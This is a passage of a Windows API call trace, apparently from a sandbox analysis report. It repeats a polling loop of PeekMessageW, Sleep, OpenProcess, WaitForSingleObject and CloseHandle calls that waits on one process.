wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.839] Sleep (dwMilliseconds=0x1) [0261.855] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.855] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.870] CloseHandle (hObject=0xb64) returned 1 [0261.870] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.870] Sleep (dwMilliseconds=0x1) [0261.886] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.886] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.902] CloseHandle (hObject=0xb64) returned 1 [0261.902] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.902] Sleep (dwMilliseconds=0x1) [0261.924] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.924] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.934] CloseHandle (hObject=0xb64) returned 1 [0261.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.934] Sleep (dwMilliseconds=0x1) [0261.948] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.948] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.964] CloseHandle (hObject=0xb64) returned 1 [0261.964] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.964] Sleep (dwMilliseconds=0x1) [0261.980] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.980] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.995] CloseHandle (hObject=0xb64) returned 1 [0261.995] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.995] Sleep (dwMilliseconds=0x1) [0262.011] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0262.011] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0262.027] CloseHandle (hObject=0xb64) returned 1 [0262.027] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.027] Sleep (dwMilliseconds=0x1) [0262.042] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0262.042] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0262.058] CloseHandle (hObject=0xb64) returned 1 [0262.058] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.058] Sleep (dwMilliseconds=0x1) [0262.074] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0262.074] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0262.089] CloseHandle (hObject=0xb64) returned 1 [0262.089] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.089] Sleep (dwMilliseconds=0x1) [0262.105] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0262.105] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0262.122] CloseHandle (hObject=0xb64) returned 1 [0262.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.122] Sleep (dwMilliseconds=0x1) [0262.143] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0262.143] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0262.152] CloseHandle (hObject=0xb64) returned 1 [0262.152] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.152] Sleep (dwMilliseconds=0x1) [0262.167] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0262.167] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0262.183] CloseHandle (hObject=0xb64) returned 1 [0262.183] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.183] Sleep (dwMilliseconds=0x1) [0262.199] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0262.199] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0262.214] CloseHandle (hObject=0xb64) returned 1 [0262.214] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.214] Sleep (dwMilliseconds=0x1) [0262.230] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0262.230] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0262.245] CloseHandle (hObject=0xb64) returned 1 [0262.245] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.245] Sleep (dwMilliseconds=0x1) [0262.267] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.267] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.277] CloseHandle (hObject=0xb6c) returned 1 [0262.277] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.277] Sleep (dwMilliseconds=0x1) [0262.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.294] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.308] CloseHandle (hObject=0xb6c) returned 1 [0262.308] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.308] Sleep (dwMilliseconds=0x1) [0262.324] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.324] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.339] CloseHandle (hObject=0xb6c) returned 1 [0262.339] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.339] Sleep (dwMilliseconds=0x1) [0262.355] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.355] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.371] CloseHandle (hObject=0xb6c) returned 1 [0262.371] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.371] Sleep (dwMilliseconds=0x1) [0262.386] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.386] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.402] CloseHandle (hObject=0xb6c) returned 1 [0262.402] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.402] Sleep (dwMilliseconds=0x1) [0262.417] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.417] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.433] CloseHandle (hObject=0xb6c) returned 1 [0262.433] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.433] Sleep (dwMilliseconds=0x1) [0262.448] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.448] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.464] CloseHandle (hObject=0xb6c) returned 1 [0262.464] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.464] Sleep (dwMilliseconds=0x1) [0262.480] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.480] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.495] CloseHandle (hObject=0xb6c) returned 1 [0262.495] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.495] Sleep (dwMilliseconds=0x1) [0262.511] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.511] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.527] CloseHandle (hObject=0xb6c) returned 1 [0262.527] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.527] Sleep (dwMilliseconds=0x1) [0262.542] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.542] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.558] CloseHandle (hObject=0xb6c) returned 1 [0262.558] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.558] Sleep (dwMilliseconds=0x1) [0262.573] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.573] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.589] CloseHandle (hObject=0xb6c) returned 1 [0262.589] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.589] Sleep (dwMilliseconds=0x1) [0262.605] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.605] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.621] CloseHandle (hObject=0xb6c) returned 1 [0262.621] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.621] Sleep (dwMilliseconds=0x1) [0262.636] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.636] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.652] CloseHandle (hObject=0xb6c) returned 1 [0262.652] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.652] Sleep (dwMilliseconds=0x1) [0262.667] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.667] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.683] CloseHandle (hObject=0xb6c) returned 1 [0262.683] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.683] Sleep (dwMilliseconds=0x1) [0262.699] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.699] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.742] CloseHandle (hObject=0xb6c) returned 1 [0262.742] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.742] Sleep (dwMilliseconds=0x1) [0262.746] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.746] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.761] CloseHandle (hObject=0xb6c) returned 1 [0262.761] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.761] Sleep (dwMilliseconds=0x1) [0262.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.777] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.792] CloseHandle (hObject=0xb6c) returned 1 [0262.792] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.792] Sleep (dwMilliseconds=0x1) [0262.808] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.808] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.823] CloseHandle (hObject=0xb6c) returned 1 [0262.823] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.824] Sleep (dwMilliseconds=0x1) [0262.839] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.839] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.855] CloseHandle (hObject=0xb6c) returned 1 [0262.855] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.855] Sleep (dwMilliseconds=0x1) [0262.870] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.870] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.886] CloseHandle (hObject=0xb6c) returned 1 [0262.886] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.886] Sleep (dwMilliseconds=0x1) [0262.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.902] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.925] CloseHandle (hObject=0xb6c) returned 1 [0262.925] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.925] Sleep (dwMilliseconds=0x1) [0262.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.934] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.949] CloseHandle (hObject=0xb6c) returned 1 [0262.949] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.949] Sleep (dwMilliseconds=0x1) [0262.964] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.964] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0262.980] CloseHandle (hObject=0xb6c) returned 1 [0262.980] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0262.980] Sleep (dwMilliseconds=0x1) [0262.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0262.996] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.011] CloseHandle (hObject=0xb6c) returned 1 [0263.011] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.011] Sleep (dwMilliseconds=0x1) [0263.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0263.028] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.042] CloseHandle (hObject=0xb6c) returned 1 [0263.043] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.043] Sleep (dwMilliseconds=0x1) [0263.058] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0263.058] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.074] CloseHandle (hObject=0xb6c) returned 1 [0263.074] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.074] Sleep (dwMilliseconds=0x1) [0263.089] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0263.089] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.105] CloseHandle (hObject=0xb6c) returned 1 [0263.105] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.105] Sleep (dwMilliseconds=0x1) [0263.120] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0263.121] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.136] CloseHandle (hObject=0xb6c) returned 1 [0263.136] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.136] Sleep (dwMilliseconds=0x1) [0263.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0263.152] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.171] CloseHandle (hObject=0xb6c) returned 1 [0263.171] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.171] Sleep (dwMilliseconds=0x1) [0263.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0263.183] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.199] CloseHandle (hObject=0xb6c) returned 1 [0263.199] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.199] Sleep (dwMilliseconds=0x1) [0263.214] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0263.214] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.230] CloseHandle (hObject=0xb6c) returned 1 [0263.230] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.230] Sleep (dwMilliseconds=0x1) [0263.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb6c [0263.247] WaitForSingleObject (hHandle=0xb6c, dwMilliseconds=0xa) returned 0x102 [0263.261] CloseHandle (hObject=0xb6c) returned 1 [0263.261] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.261] Sleep (dwMilliseconds=0x1) [0263.277] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.277] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.292] CloseHandle (hObject=0xb7c) returned 1 [0263.292] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.292] Sleep (dwMilliseconds=0x1) [0263.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.310] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.323] CloseHandle (hObject=0xb7c) returned 1 [0263.324] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.324] Sleep (dwMilliseconds=0x1) [0263.339] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.339] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.355] CloseHandle (hObject=0xb7c) returned 1 [0263.355] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.355] Sleep (dwMilliseconds=0x1) [0263.370] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.370] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.386] CloseHandle (hObject=0xb7c) returned 1 [0263.386] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.386] Sleep (dwMilliseconds=0x1) [0263.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.402] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.417] CloseHandle (hObject=0xb7c) returned 1 [0263.417] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.417] Sleep (dwMilliseconds=0x1) [0263.433] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.433] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.449] CloseHandle (hObject=0xb7c) returned 1 [0263.449] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.449] Sleep (dwMilliseconds=0x1) [0263.464] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.464] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.480] CloseHandle (hObject=0xb7c) returned 1 [0263.480] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.480] Sleep (dwMilliseconds=0x1) [0263.496] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.496] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.511] CloseHandle (hObject=0xb7c) returned 1 [0263.511] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.511] Sleep (dwMilliseconds=0x1) [0263.527] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.527] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.542] CloseHandle (hObject=0xb7c) returned 1 [0263.542] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.542] Sleep (dwMilliseconds=0x1) [0263.558] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.558] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.574] CloseHandle (hObject=0xb7c) returned 1 [0263.574] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.574] Sleep (dwMilliseconds=0x1) [0263.589] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.589] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.606] CloseHandle (hObject=0xb7c) returned 1 [0263.606] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.606] Sleep (dwMilliseconds=0x1) [0263.620] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.620] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.636] CloseHandle (hObject=0xb7c) returned 1 [0263.636] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0263.636] Sleep (dwMilliseconds=0x1) [0263.652] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb7c [0263.652] WaitForSingleObject (hHandle=0xb7c, dwMilliseconds=0xa) returned 0x102 [0263.668] CloseHandle (hObject=0xb7c) returned 1 [0263.668] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 